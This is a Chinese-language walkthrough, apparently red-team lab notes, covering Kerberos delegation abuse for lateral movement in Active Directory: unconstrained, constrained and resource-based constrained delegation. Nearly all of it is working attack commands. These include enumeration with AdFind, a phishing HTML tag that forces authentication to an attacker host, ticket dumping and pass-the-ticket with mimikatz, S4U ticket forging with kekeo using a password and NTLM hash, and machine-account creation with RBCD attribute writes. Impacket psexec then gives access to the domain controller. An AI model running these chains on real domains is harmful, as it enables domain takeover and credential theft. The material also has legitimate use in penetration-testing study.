0x01 横向移动-非约束委派
原理:
机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的的TGT放在ST票据中,一起发送给机器B,机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户(域管用户)访问服务
利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户,利用方式和ptt类似(需要有票据)
复现配置:
环境:god.org
1.信任此计算机来委派任何服务
2.setspn -U -A priv/test webadmin
准备:
werserver上线cs
进行提权
判断查询:
有主机名和用户账号设置了非约束才可以使用
查询域内设置了非约束委派的服务账户:
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
查询域内设置了非约束委派的机器账户:
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
利用:
1.域控与委派机器通讯
主动:
net use \\webserver
钓鱼:
http://192.168.3.31/31.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.3.31\2">
</body>
</html>
2.导出票据到本地
mimikatz sekurlsa::tickets /export
3.导入票据到内存
mimikatz kerberos::ptt [0;e949e]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi
4.连接域控
dir \\owa2010cn-god\c$
0x02 内网横向移动-约束委派
原理:
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,
引入了SService for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)。
利用场景:
如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派
则攻击者可以先使用S4u2seflt申请域管用户(administrator)访问A服务的ST1,
然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控
复现配置:
1.机器设置仅信任此计算机指定服务-cifs
2.用户设置仅信任此计算机指定服务-cifs
用户名和机器名都配置成owa的账号
准备:
werserver上线cs
进行提权
判断查询:
查询机器用户(主机)配置约束委派
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询服务账户(主机)配置约束委派
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
利用步骤:
1.获取用户的票据
明文
shell kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"
ntml hash值
shell kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"
2.利用用户票据获取域控票据
选用一个服务即可,上方第一个查询返回的值
shell kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"
shell kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"
3.导入票据到内存
mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god@GOD.ORG
4.连接域控
shell dir \\owa2010cn-god.god.org\c$
0x03横向移动-资源委派
基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
计算机加⼊域时,加⼊域的域⽤户被控后也将导致使用当前域用户加入的计算机受控。(利用域用户加域的计算机)
条件:
1.域控Windows2012及以上
2.存在域内成员用户加入域操作
工具:
sid2user
Powermad
impacket
环境:
win7
win2008
win2012
1.获取受害目标:有哪些域内计算机存在同一用户加入的,必须有sid值一致的才能进行攻击
AdFind.exe -h 192.168.3.33 -b "DC=xiaodi,DC=local" -f "objectClass=computer" mS-DS-CreatorSID
判断受害用户:
sid2user.exe \\192.168.3.33 5 21 1695257952 3088263962 2055235443 1104
2.增加机器:
powershell
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
获取sid:
Import-Module .\PowerView.ps1
Get-NetComputer serviceA -Properties objectsid
获取到的sid值
S-1-5-21-1695257952-3088263962-2055235443-1602
3.设置修改属性
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1107)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DATA| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
验证修改是否成功:
Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity
清除修改设置:
Set-DomainObject DATA -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
4.连接目标获取票据:
python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator
5.导入票据到内存:
mimikatz kerberos::ptc administrator.ccache
6.连接利用票据:
dir \\data.xiaodi.local\c$
python psexec.py -k xiaodi.local/administrator@data.xiaodi.local -no-pass
关于 getST.py报错:
进入到impaket的包里
python setup.py install
python 应该是有版本限制的3.8,3.9
3.10版本是不行的,再就是直接安装impacket也会出错,所以使用上面的方法安装